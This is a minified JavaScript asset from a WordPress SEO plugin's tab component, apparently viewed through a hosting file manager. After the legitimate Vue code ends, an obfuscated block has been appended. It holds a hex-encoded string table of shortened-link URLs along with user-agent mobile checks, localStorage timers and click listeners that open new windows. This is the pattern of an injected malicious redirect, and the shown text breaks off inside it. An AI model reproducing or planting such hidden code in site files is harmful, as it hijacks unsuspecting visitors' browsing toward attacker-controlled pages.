File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/js/Tabs.914ea6bd.js
Back
import{b as st,u as at,m as lt}from"./links.4c32e7b9.js";import"./default-i18n.3881921e.js";import{u as ct,T as dt}from"./TruSeoScore.b474bf15.js";import{i as ce,a1 as ut,q as Y,a2 as Me,a3 as Pe,j as ft,k as _,A as Ee,n as re,a4 as Le,X as de,p as pt,u as vt,a5 as ht,a6 as mt,o as g,c as C,a as S,e as N,J as P,x as j,h as ue,m as y,Y as bt,P as Oe,b as H,w as R,C as yt,y as wt,L as gt,r as M,Q as _t,d as V,F as te,M as ne,t as I,f as L,D as oe,I as he}from"./vue.runtime.esm-bundler.ba5c08e0.js";import{_ as St}from"./_plugin-vue_export-helper.80405f63.js";import{S as $t,a as Ct}from"./Ellipse.9a695889.js";import{B as Tt,a as kt,b as Mt}from"./Caret.da0d1a59.js";import{S as Pt}from"./Information.07ac38db.js";import{T as Et}from"./Slide.3af65e43.js";const ze={locks:{},zIndex:2e3,enableRipple:!0};ce(ze);var We=ce(ze),Lt=Object.defineProperty,Ot=Object.defineProperties,zt=Object.getOwnPropertyDescriptors,me=Object.getOwnPropertySymbols,Wt=Object.prototype.hasOwnProperty,Nt=Object.prototype.propertyIsEnumerable,be=(e,t,n)=>t in e?Lt(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,At=(e,t)=>{for(var n in t||(t={}))Wt.call(t,n)&&be(e,n,t[n]);if(me)for(var n of me(t))Nt.call(t,n)&&be(e,n,t[n]);return e},Bt=(e,t)=>Ot(e,zt(t)),$=e=>typeof e=="string",It=e=>typeof e=="boolean",fe=e=>typeof e=="number",Rt=e=>typeof e=="function",Ne=e=>Array.isArray(e),Dt=e=>e===window,xt=()=>Q()&&"ontouchstart"in window,Q=()=>typeof window<"u",ye=(e,t)=>{if(e.length){const n=e.indexOf(t);if(n>-1)return e.splice(n,1)}},Ft=(...e)=>e.map(t=>{if(Ne(t)){const[n,o,i=null]=t;return n?o:i}return t}),Vt=()=>typeof globalThis<"u"?globalThis:Q()?window:typeof global<"u"?global:self,se=e=>{const t=Vt();return t.requestAnimationFrame?t.requestAnimationFrame(e):t.setTimeout(e)},Ht=()=>new Promise(e=>{se(e)}),Ae=()=>new Promise(e=>{se(()=>{se(e)})}),pe=e=>window.getComputedStyle(e),Z=e=>{if(Dt(e)){const t=e.innerWidth,n=e.innerHeight,o={x:0,y:0,top:0,left:0,right:t,bottom:n,width:t,height:n};return Bt(At({},o),{toJSON:()=>o})}return e.getBoundingClientRect()},Ut=e=>{const t="scrollTop"in e?e.scrollTop:e.scrollY;return Math.max(t,0)},Yt=e=>{const t="scrollLeft"in e?e.scrollLeft:e.scrollX;return Math.max(t,0)};function jt(e,...t){if(Ne(e))return e.map(n=>n(...t));if(e)return e(...t)}var Be=e=>e==null?0:$(e)?(e=parseFloat(e),e=Number.isNaN(e)?0:e,e):It(e)?Number(e):e,qt=(e,t,n)=>Math.min(n,Math.max(t,e)),Xt=e=>Jt(e).replace(e.charAt(0),e.charAt(0).toUpperCase()),Jt=e=>e.replace(/-(\w)/g,(t,n)=>n.toUpperCase());function Zt(e){return t=>{const n=`${e}-${t}`,o=i=>i?i[0]==="$"?i.replace("$",e):i.startsWith("--")?`${n}${i}`:`${n}__${i}`:n;return{name:Xt(n),n:o,classes:Ft}}}var Gt=Object.defineProperty,G=Object.getOwnPropertySymbols,Ie=Object.prototype.hasOwnProperty,Re=Object.prototype.propertyIsEnumerable,we=(e,t,n)=>t in e?Gt(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Qt=(e,t)=>{for(var n in t||(t={}))Ie.call(t,n)&&we(e,n,t[n]);if(G)for(var n of G(t))Re.call(t,n)&&we(e,n,t[n]);return e},Kt=(e,t)=>{var n={};for(var o in e)Ie.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(e!=null&&G)for(var o of G(e))t.indexOf(o)<0&&Re.call(e,o)&&(n[o]=e[o]);return n};function De(e){let t=!1;Ee(()=>{e(),re(()=>{t=!0})}),Le(()=>{t&&e()})}function ae(e,t,n,o={}){if(!Q())return;const{passive:i=!1,capture:s=!1}=o;let a=!1,l=!1;const r=f=>Rt(f)?f():vt(f),c=f=>{if(a||l)return;const m=r(f);m&&(m.addEventListener(t,n,{passive:i,capture:s}),a=!0)},d=f=>{if(!a||l)return;const m=r(f);m&&(m.removeEventListener(t,n,{capture:s}),a=!1)};let v;ut(e)&&(v=Y(()=>e.value,(f,m)=>{d(m),c(f)}));const h=()=>{v==null||v(),d(e),l=!0};return De(()=>{c(e)}),Me(()=>{d(e)}),Pe(()=>{d(e)}),h}function en(e){ht(()=>{e()}),Pe(()=>{e()})}function tn(e){const t=de();return e in t.provides}function nn(e){if(!tn(e))return{index:null,parentProvider:null,bindParent:null};const n=ft(e),{childInstances:o,collect:i,clear:s}=n,a=Kt(n,["childInstances","collect","clear"]),l=de();return{index:_(()=>o.indexOf(l)),parentProvider:a,bindParent:d=>{Ee(()=>{re().then(()=>{i(l,d)})}),Me(()=>{re().then(()=>{s(l,d)})})}}}function on(e){const t=[],n=o=>{if(o!=null&&o.component){n(o==null?void 0:o.component.subTree);return}Array.isArray(o==null?void 0:o.children)&&o.children.forEach(i=>{mt(i)&&(t.push(i),n(i))})};return n(e),t}function rn(e){const t=de(),n=ce([]),o=[],i=_(()=>n.length),s=()=>{const c=on(t.subTree);n.sort((d,v)=>c.indexOf(d.vnode)-c.indexOf(v.vnode))},a=(c,d)=>{n.push(c),o.push(d),s()},l=(c,d)=>{ye(n,c),ye(o,d)};return{length:i,childProviders:o,bindChildren:c=>{pt(e,Qt({childInstances:n,collect:a,clear:l},c))}}}function xe(e){ae(()=>window,"resize",e,{passive:!0}),ae(()=>window,"orientationchange",e,{passive:!0})}function ie(e,t){return Array.isArray(t)?t.reduce((n,o)=>(n[o]=e[o],n),{}):e[t]}function ve(e,t){const n=t??e;return n.install=function(o){const{name:i}=e;i&&o.component(i,e)},n}const K=Zt("var"),D=jt;function U(e){return{type:[Function,Array],default:e}}function sn(e,t){return e===!1?null:(e===!0&&t&&(e=t),`var-elevation--${e}`)}var an=Object.defineProperty,ln=Object.defineProperties,cn=Object.getOwnPropertyDescriptors,ge=Object.getOwnPropertySymbols,dn=Object.prototype.hasOwnProperty,un=Object.prototype.propertyIsEnumerable,_e=(e,t,n)=>t in e?an(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Fe=(e,t)=>{for(var n in t||(t={}))dn.call(t,n)&&_e(e,n,t[n]);if(ge)for(var n of ge(t))un.call(t,n)&&_e(e,n,t[n]);return e},fn=(e,t)=>ln(e,cn(t));const{n:Ve}=K("ripple"),Se=250;function pn(e){const{zIndex:t,position:n}=pe(e);e.style.overflow="hidden",e.style.overflowX="hidden",e.style.overflowY="hidden",n==="static"&&(e.style.position="relative"),t==="auto"&&(e.style.zIndex="1")}function vn(e,t){const{top:n,left:o}=Z(e),{clientWidth:i,clientHeight:s}=e,a=Math.sqrt(i**2+s**2)/2,l=a*2,r=t.touches[0].clientX-o,c=t.touches[0].clientY-n,d=(i-a*2)/2,v=(s-a*2)/2,h=r-a,f=c-a;return{x:h,y:f,centerX:d,centerY:v,size:l}}function He(e){const t=this._ripple;if(t.removeRipple(),t.disabled||t.tasker||!We.enableRipple)return;const n=()=>{t.tasker=null;const{x:o,y:i,centerX:s,centerY:a,size:l}=vn(this,e),r=document.createElement("div");r.classList.add(Ve()),r.style.opacity="0",r.style.transform=`translate(${o}px, ${i}px) scale3d(.3, .3, .3)`,r.style.width=`${l}px`,r.style.height=`${l}px`,t.color&&(r.style.backgroundColor=t.color),r.dataset.createdAt=String(performance.now()),pn(this),this.appendChild(r),window.setTimeout(()=>{r.style.transform=`translate(${s}px, ${a}px) scale3d(1, 1, 1)`,r.style.opacity=".25"},20)};t.tasker=window.setTimeout(n,30)}function le(){const e=this._ripple,t=()=>{const n=this.querySelectorAll(`.${Ve()}`);if(!n.length)return;const o=n[n.length-1],i=Se-performance.now()+Number(o.dataset.createdAt);window.setTimeout(()=>{o.style.opacity="0",window.setTimeout(()=>{var s;return(s=o.parentNode)==null?void 0:s.removeChild(o)},Se)},i)};e.tasker?window.setTimeout(t,30):t()}function Ue(){if(!xt()||!We.enableRipple)return;const e=this._ripple;e.tasker&&window.clearTimeout(e.tasker),e.tasker=null}function hn(e,t){var n;e._ripple=fn(Fe({tasker:null},(n=t.value)!=null?n:{}),{removeRipple:le.bind(e)}),e.addEventListener("touchstart",He,{passive:!0}),e.addEventListener("touchmove",Ue,{passive:!0}),e.addEventListener("dragstart",le,{passive:!0}),document.addEventListener("touchend",e._ripple.removeRipple,{passive:!0}),document.addEventListener("touchcancel",e._ripple.removeRipple,{passive:!0}),document.addEventListener("dragend",e._ripple.removeRipple,{passive:!0})}function mn(e){e.removeEventListener("touchstart",He),e.removeEventListener("touchmove",Ue),e.removeEventListener("dragstart",le),document.removeEventListener("touchend",e._ripple.removeRipple),document.removeEventListener("touchcancel",e._ripple.removeRipple),document.removeEventListener("dragend",e._ripple.removeRipple)}function bn(e,t){var n,o,i,s,a,l;const r={color:(n=t.value)==null?void 0:n.color,disabled:(o=t.value)==null?void 0:o.disabled};(r.color!==((i=e._ripple)==null?void 0:i.color)||r.disabled!==((s=e._ripple)==null?void 0:s.disabled))&&(e._ripple=Fe({tasker:r.disabled?null:(a=e._ripple)==null?void 0:a.tasker,removeRipple:(l=e._ripple)==null?void 0:l.removeRipple},r))}const yn={mounted:hn,unmounted:mn,updated:bn,install(e){e.directive("ripple",this)}};var wn=yn;function gn(e,t){throw Error(`Varlet [${e}]: ${t}`)}function _n(e){let t=e;for(;t&&!(!t.parentNode||(t=t.parentNode,t===document.body||t===document.documentElement));){const n=/(scroll|auto)/,{overflowY:o,overflow:i}=pe(t);if(n.test(o)||n.test(i))return t}return window}function Sn(){const{width:e,height:t}=Z(window);return{vw:e,vh:t,vMin:Math.min(e,t),vMax:Math.max(e,t)}}const Ye=e=>$(e)&&e.endsWith("rem"),$n=e=>$(e)&&e.endsWith("em")&&!e.endsWith("rem"),Cn=e=>$(e)&&e.endsWith("px")||fe(e),Tn=e=>$(e)&&e.endsWith("%"),je=e=>$(e)&&e.endsWith("vw"),qe=e=>$(e)&&e.endsWith("vh"),Xe=e=>$(e)&&e.endsWith("vmin"),Je=e=>$(e)&&e.endsWith("vmax"),kn=e=>$(e)&&e.startsWith("calc("),Mn=e=>$(e)&&e.startsWith("var("),Ze=e=>{if(fe(e))return e;if(Cn(e))return+e.replace("px","");if(!Q())return 0;const{vw:t,vh:n,vMin:o,vMax:i}=Sn();if(je(e))return+e.replace("vw","")*t/100;if(qe(e))return+e.replace("vh","")*n/100;if(Xe(e))return+e.replace("vmin","")*o/100;if(Je(e))return+e.replace("vmax","")*i/100;if(Ye(e)){const s=+e.replace("rem",""),a=pe(document.documentElement).fontSize;return s*parseFloat(a)}return $(e)?Be(e):0},Pn=e=>{if(e!=null)return Tn(e)||je(e)||qe(e)||$n(e)||Ye(e)||kn(e)||Mn(e)||Xe(e)||Je(e)?e:`${Ze(e)}px`};function $e(e,{top:t=0,left:n=0,duration:o=300,animation:i}){const s=Date.now(),a=Ut(e),l=Yt(e);return new Promise(r=>{const c=()=>{const d=(Date.now()-s)/o;if(d<1){const v=a+(t-a)*i(d),h=l+(n-l)*i(d);e.scrollTo(h,v),requestAnimationFrame(c)}else e.scrollTo(n,t),r()};requestAnimationFrame(c)})}const Ce=e=>e,J={offsetTop:{type:[String,Number],default:0},zIndex:{type:[String,Number],default:10},cssMode:Boolean,disabled:Boolean,onScroll:U()};var Te=(e,t,n)=>new Promise((o,i)=>{var s=r=>{try{l(n.next(r))}catch(c){i(c)}},a=r=>{try{l(n.throw(r))}catch(c){i(c)}},l=r=>r.done?o(r.value):Promise.resolve(r.value).then(s,a);l((n=n.apply(e,t)).next())});const{name:En,n:Ln,classes:On}=K("sticky");function zn(e,t){return g(),C("div",{class:P(e.classes(e.n(),[e.enableCSSMode,e.n("--css-mode")])),ref:"stickyEl",style:j({zIndex:e.toNumber(e.zIndex),top:e.enableCSSMode?`${e.offsetTop}px`:void 0,width:e.enableFixedMode?e.fixedWidth:void 0,height:e.enableFixedMode?e.fixedHeight:void 0})},[S("div",{class:P(e.n("wrapper")),ref:"wrapperEl",style:j({zIndex:e.toNumber(e.zIndex),position:e.enableFixedMode?"fixed":void 0,width:e.enableFixedMode?e.fixedWrapperWidth:void 0,height:e.enableFixedMode?e.fixedWrapperHeight:void 0,left:e.enableFixedMode?e.fixedLeft:void 0,top:e.enableFixedMode?e.fixedTop:void 0})},[N(e.$slots,"default")],6)],6)}const Ge=ue({name:En,props:J,setup(e){const t=y(null),n=y(null),o=y(!1),i=y("0px"),s=y("0px"),a=y("auto"),l=y("auto"),r=y("auto"),c=y("auto"),d=_(()=>!e.disabled&&e.cssMode),v=_(()=>!e.disabled&&!e.cssMode&&o.value),h=_(()=>Ze(e.offsetTop));let f;Y(()=>e.disabled,w),De(A),en(x),xe(w),ae(()=>window,"scroll",u);function m(){const{cssMode:T,disabled:B}=e;if(B)return;let O=0;if(f!==window){const{top:p}=Z(f);O=p}const z=n.value,W=t.value,{top:ee,left:E}=Z(W),q=ee-O;return q<=h.value?(T||(a.value=`${W.offsetWidth}px`,l.value=`${W.offsetHeight}px`,i.value=`${O+h.value}px`,s.value=`${E}px`,r.value=`${z.offsetWidth}px`,c.value=`${z.offsetHeight}px`,o.value=!0),{offsetTop:h.value,isFixed:!0}):(o.value=!1,{offsetTop:q,isFixed:!1})}function u(){if(!f)return;const T=m();T&&D(e.onScroll,T.offsetTop,T.isFixed)}function w(){return Te(this,null,function*(){o.value=!1,yield Ht(),m()})}function A(){return Te(this,null,function*(){yield Ae(),f=_n(t.value),f!==window&&f.addEventListener("scroll",u),u()})}function x(){f!==window&&f.removeEventListener("scroll",u)}return{stickyEl:t,wrapperEl:n,isFixed:o,offsetTop:h,fixedTop:i,fixedLeft:s,fixedWidth:a,fixedHeight:l,fixedWrapperWidth:r,fixedWrapperHeight:c,enableCSSMode:d,enableFixedMode:v,n:Ln,classes:On,resize:w,toNumber:Be}}});Ge.render=zn;var Qe=Ge;ve(Qe);var Wn=Qe;const Nn={name:[String,Number],disabled:Boolean,onClick:U()},Ke=Symbol("TABS_BIND_TAB_KEY");function An(){const{childProviders:e,bindChildren:t,length:n}=rn(Ke);return{length:n,tabList:e,bindTabList:t}}function Bn(){const{parentProvider:e,bindParent:t,index:n}=nn(Ke);return t||gn("Tab","<var-tab/> must in <var-tabs/>"),{index:n,tabs:e,bindTabs:t}}const{name:In,n:X,classes:Rn}=K("tab");function Dn(e,t){const n=bt("ripple");return Oe((g(),C("div",{class:P(e.classes(e.n(),e.n("$--box"),e.computeColorClass(),e.n(`--${e.itemDirection}`))),ref:"tabEl",style:j({color:e.computeColorStyle()}),onClick:t[0]||(t[0]=(...o)=>e.handleClick&&e.handleClick(...o))},[N(e.$slots,"default")],6)),[[n,{disabled:e.disabled}]])}const et=ue({name:In,directives:{Ripple:wn},props:Nn,setup(e){const t=y(null),n=_(()=>t.value),o=_(()=>e.name),i=_(()=>e.disabled),{index:s,tabs:a,bindTabs:l}=Bn(),{onTabClick:r,active:c,activeColor:d,inactiveColor:v,disabledColor:h,itemDirection:f,resize:m}=a,u={name:o,index:s,disabled:i,element:n};l(u),Y(()=>[e.name,e.disabled],m);function w(){return e.name!=null?c.value===e.name:c.value===(s==null?void 0:s.value)}function A(){return e.disabled?h.value:w()?d.value:v.value}function x(){return e.disabled?X("$-tab--disabled"):w()?X("$-tab--active"):X("$-tab--inactive")}function T(B){const{disabled:O,name:z,onClick:W}=e;O||(D(W,z??s.value,B),r(u))}return{tabEl:t,active:c,activeColor:d,inactiveColor:v,itemDirection:f,n:X,classes:Rn,computeColorStyle:A,computeColorClass:x,handleClick:T}}});et.render=Dn;var tt=et;ve(tt);var xn=tt;const Fn={active:{type:[String,Number],default:0},layoutDirection:{type:String,default:"horizontal"},itemDirection:{type:String,default:"horizontal"},fixedBottom:Boolean,activeColor:String,inactiveColor:String,disabledColor:String,color:String,indicatorColor:String,indicatorSize:[String,Number],elevation:{type:[Boolean,String,Number],default:!1},scrollable:{type:String,default:"auto"},indicatorPosition:{type:String,default:"normal"},safeArea:Boolean,sticky:Boolean,stickyCssMode:ie(J,"cssMode"),stickyZIndex:ie(J,"zIndex"),offsetTop:ie(J,"offsetTop"),onClick:U(),onChange:U(),"onUpdate:active":U()};var ke=(e,t,n)=>new Promise((o,i)=>{var s=r=>{try{l(n.next(r))}catch(c){i(c)}},a=r=>{try{l(n.throw(r))}catch(c){i(c)}},l=r=>r.done?o(r.value):Promise.resolve(r.value).then(s,a);l((n=n.apply(e,t)).next())});const{name:Vn,n:Hn,classes:Un}=K("tabs");function Yn(e,t){return g(),H(wt(e.sticky?e.n("$-sticky"):e.Transition),{ref:e.sticky?"stickyComponent":void 0,"css-mode":e.sticky?e.stickyCssMode:void 0,"offset-top":e.sticky?e.offsetTop:void 0,"z-index":e.sticky?e.stickyZIndex:void 0},{default:R(()=>[S("div",yt({class:e.classes(e.n(),e.n("$--box"),e.n(`--item-${e.itemDirection}`),e.n(`--layout-${e.layoutDirection}-padding`),e.formatElevation(e.elevation,4),[e.fixedBottom,e.n("--fixed-bottom")],[e.safeArea,e.n("--safe-area")]),style:{background:e.color}},e.$attrs),[S("div",{ref:"scrollerEl",class:P(e.classes(e.n("tab-wrap"),[e.localScrollable,e.n(`--layout-${e.layoutDirection}-scrollable`)],e.n(`--layout-${e.layoutDirection}`)))},[N(e.$slots,"default"),S("div",{class:P(e.classes(e.n("indicator"),e.n(`--layout-${e.layoutDirection}${e.indicatorPosition}-indicator`))),style:j({width:e.layoutDirection==="horizontal"?e.indicatorWidth:e.toSizeUnit(e.indicatorSize),height:e.layoutDirection==="horizontal"?e.toSizeUnit(e.indicatorSize):e.indicatorHeight,transform:e.layoutDirection==="horizontal"?`translateX(${e.indicatorX})`:`translateY(${e.indicatorY})`})},[S("div",{class:P(e.classes(e.n("indicator-inner"),e.n(`--layout-${e.layoutDirection}-indicator-inner`))),style:j({background:e.indicatorColor||e.activeColor})},null,6)],6)],2)],16)]),_:3},8,["css-mode","offset-top","z-index"])}const nt=ue({name:Vn,components:{VarSticky:Wn},inheritAttrs:!1,props:Fn,setup(e){const t=y("0px"),n=y("0px"),o=y("0px"),i=y("0px"),s=y(!1),a=y(null),l=_(()=>e.active),r=_(()=>e.activeColor),c=_(()=>e.inactiveColor),d=_(()=>e.disabledColor),v=_(()=>e.itemDirection),h=y(null),f=_(()=>e.indicatorPosition==="reverse"?"-reverse":""),{tabList:m,bindTabList:u,length:w}=An();u({active:l,activeColor:r,inactiveColor:c,disabledColor:d,itemDirection:v,resize:E,onTabClick:x}),Y(()=>w.value,()=>ke(this,null,function*(){yield Ae(),E()})),Y(()=>[e.active,e.scrollable],E),Le(E),xe(E);function x(p){var b;const k=(b=p.name.value)!=null?b:p.index.value,{active:F,onChange:it,onClick:rt}=e;D(e["onUpdate:active"],k),D(rt,k),k!==F&&D(it,k)}function T(){return m.find(({name:p})=>e.active===p.value)}function B(p){return m.find(({index:b})=>(p??e.active)===b.value)}function O(){if(w.value===0)return;const{active:p}=e;if(fe(p)){const b=qt(p,0,w.value-1);return D(e["onUpdate:active"],b),B(b)}}function z(){s.value=e.scrollable==="always"||m.length>=5}function W({element:p}){const b=p.value;b&&(e.layoutDirection==="horizontal"?(t.value=`${b.offsetWidth}px`,o.value=`${b.offsetLeft}px`):(n.value=`${b.offsetHeight}px`,i.value=`${b.offsetTop}px`))}function ee({element:p}){if(!s.value)return;const b=a.value,k=p.value;if(e.layoutDirection==="horizontal"){const F=k.offsetLeft+k.offsetWidth/2-b.offsetWidth/2;$e(b,{left:F,animation:Ce})}else{const F=k.offsetTop+k.offsetHeight/2-b.offsetHeight/2;$e(b,{top:F,animation:Ce})}}function E(){const p=T()||B()||O();!p||p.disabled.value||(z(),W(p),ee(p))}function q(){return ke(this,null,function*(){e.sticky&&h.value&&(yield h.value.resize())})}return{stickyComponent:h,indicatorWidth:t,indicatorHeight:n,indicatorX:o,indicatorY:i,indicatorPosition:f,localScrollable:s,scrollerEl:a,Transition:gt,toSizeUnit:Pn,n:Hn,classes:Un,resize:E,resizeSticky:q,formatElevation:sn}}});nt.render=Yn;var ot=nt;ve(ot);var jn=ot;const qn={setup(){const{strings:e}=ct();return{postEditorStore:st(),rootStore:at(),composableStrings:e}},emits:["changed"],components:{BaseButton:Tt,SvgCaret:kt,SvgCircleCheck:Mt,SvgCircleInformation:Pt,SvgEllipse:$t,TransitionSlide:Et,VarTab:xn,VarTabs:jn},mixins:[Ct,dt],props:{tabs:{type:Array,required:!0},skinnyTabs:Boolean,active:String,showSaveButton:{type:Boolean,default(){return!0}},internal:Boolean,disableMobile:Boolean},data(){return{buttonLoading:!1,showMobileMenu:!0,calculateWidth:!1,showMobileTabs:!1,strings:lt(this.composableStrings,{saveChanges:this.$t.__("Save Changes",this.$td)})}},computed:{activeTab(){var e;return this.active?this.active:this.$route&&this.$route.name?this.$route.name:(e=this.tabs[0])==null?void 0:e.slug},filteredTabs(){return this.tabs.filter(e=>e.slug!==(this.active?this.active:this.$route&&this.$route.name?this.$route.name:""))}},methods:{maybeChangeTab(e){if(this.active){this.$emit("changed",e);return}const t=this.tabs.find(n=>n.slug===e);t&&this.$router.push(t.url)},getActiveTabName(){const e=this.tabs.find(t=>t.slug===(this.active?this.active:this.$route&&this.$route.name?this.$route.name:""));return e?e.name:""},maybeShowMobileMenu(){if(window.matchMedia("(max-width: 782px)").matches&&!this.disableMobile){this.showMobileMenu=!0;return}let e=0;this.calculateWidth=!0,this.$nextTick(()=>{e=this.$refs["tabs-scroller"].offsetWidth,this.calculateWidth=!1;let t=0;const n=this.$refs["tabs-button"];if(n){const o=n.querySelector(".aioseo-button");t=o?o.scrollWidth:0}if(e+t>this.$refs["aioseo-tabs"].offsetWidth){this.showMobileMenu=!0;return}this.showMobileMenu=!1})},createRipple(e){const t=e.currentTarget,n=document.createElement("span"),o=Math.max(t.clientWidth,t.clientHeight),i=o/2,s=t.getBoundingClientRect();n.style.width=n.style.height=`${o}px`,n.style.left=`${e.clientX-(s.left+i)}px`,n.style.top=`${e.clientY-(s.top+i)}px`,n.classList.add("ripple");const a=t.getElementsByClassName("ripple")[0];a&&a.remove(),t.appendChild(n)}},beforeMount(){window.addEventListener("resize",this.maybeShowMobileMenu)},async mounted(){this.$nextTick(()=>{this.maybeShowMobileMenu();const e=this.$refs["aioseo-tabs"],t=e.querySelector(".var-tab--active"),n=e.querySelector(".var-tabs__indicator");if(!t||!n)return;setTimeout(()=>{n.style.width==="0px"&&(n.style.width=`${t.offsetWidth}px`,n.style.transform=`translateX(${t.offsetLeft}px)`)},300),new MutationObserver(()=>{n.style.width==="0px"&&(n.style.width=`${t.offsetWidth}px`,n.style.transform=`translateX(${t.offsetLeft}px)`)}).observe(n,{attributes:!0});const i=e.querySelectorAll(".var-tab");i.length&&i.forEach(s=>{s.addEventListener("click",this.createRipple)})})},beforeUnmount(){window.removeEventListener("resize",this.maybeShowMobileMenu)}},Xn={class:"tabs-scroller",ref:"tabs-scroller"},Jn={class:"label"},Zn=["textContent"],Gn={key:1,class:"warning"},Qn={key:0,class:"aioseo-mobile-tabs"},Kn=S("span",{class:"tab-indicator"},null,-1),eo={class:"tab-links"},to=["onClick"],no={key:1,class:"button-right",ref:"tabs-button"},oo={class:"tabs-extra"};function io(e,t,n,o,i,s){const a=M("svg-ellipse"),l=M("svg-circle-check"),r=M("svg-circle-information"),c=M("var-tab"),d=M("var-tabs"),v=M("svg-caret"),h=M("router-link"),f=M("transition-slide"),m=M("base-button");return g(),C("div",{class:P(["aioseo-tabs",{internal:n.internal,skinny:n.skinnyTabs}]),ref:"aioseo-tabs"},[Oe(S("div",Xn,[V(d,{active:s.activeTab,onClick:s.maybeChangeTab,ref:"var-tabs"},{default:R(()=>[(g(!0),C(te,null,ne(n.tabs,(u,w)=>(g(),H(c,{name:u.slug,key:w},{default:R(()=>[N(e.$slots,"var-tab",{tab:u},()=>[N(e.$slots,"var-tab-icon",{tab:u}),S("span",Jn,I(u.name),1),u.errorCount>=0?(g(),C("span",{key:0,class:P(["tab-score",e.getErrorClass(o.postEditorStore.currentPost.page_analysis.analysis[u.slug].errors)])},[0<o.postEditorStore.currentPost.page_analysis.analysis[u.slug].errors?(g(),H(a,{key:0,width:"8"})):L("",!0),o.postEditorStore.currentPost.page_analysis.analysis[u.slug].errors===0?(g(),H(l,{key:1,width:"12"})):L("",!0),S("span",{textContent:I(e.getErrorDisplay(o.postEditorStore.currentPost.page_analysis.analysis[u.slug].errors))},null,8,Zn)],2)):L("",!0),u.warning&&e.$root._data.screenContext!=="sidebar"?(g(),C("span",Gn,[V(r,{width:"15",height:"15"})])):L("",!0)])]),_:2},1032,["name"]))),128))]),_:3},8,["active","onClick"])],512),[[_t,!i.showMobileMenu||i.calculateWidth]]),i.showMobileMenu?(g(),C("div",Qn,[S("div",{class:"active-tab",onClick:t[1]||(t[1]=u=>i.showMobileTabs=!i.showMobileTabs)},[S("div",null,[oe(I(s.getActiveTabName())+" ",1),V(v,{onClick:t[0]||(t[0]=he(u=>i.showMobileTabs=!i.showMobileTabs,["stop"])),class:P({rotated:!i.showMobileTabs})},null,8,["class"]),Kn])]),V(f,{active:i.showMobileTabs,class:"tab-dropdown"},{default:R(()=>[S("div",eo,[n.active?L("",!0):(g(!0),C(te,{key:0},ne(s.filteredTabs,(u,w)=>(g(),H(h,{key:w,to:u.url,onClick:t[2]||(t[2]=A=>i.showMobileTabs=!1)},{default:R(()=>[oe(I(u.name),1)]),_:2},1032,["to"]))),128)),n.active?(g(!0),C(te,{key:1},ne(s.filteredTabs,(u,w)=>(g(),C("a",{href:"#",key:w,onClick:he(A=>e.$emit("changed",u.slug)&&(i.showMobileTabs=!1),["prevent"])},I(u.name),9,to))),128)):L("",!0)])]),_:1},8,["active"])])):L("",!0),n.showSaveButton?(g(),C("div",no,[N(e.$slots,"button",{},()=>[V(m,{type:"blue",size:"medium",loading:o.rootStore.loading,onClick:e.processSaveChanges},{default:R(()=>[oe(I(i.strings.saveChanges),1)]),_:1},8,["loading","onClick"])])],512)):L("",!0),S("div",oo,[N(e.$slots,"extra")])],2)}const ho=St(qn,[["render",io]]);export{ho as C}; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const 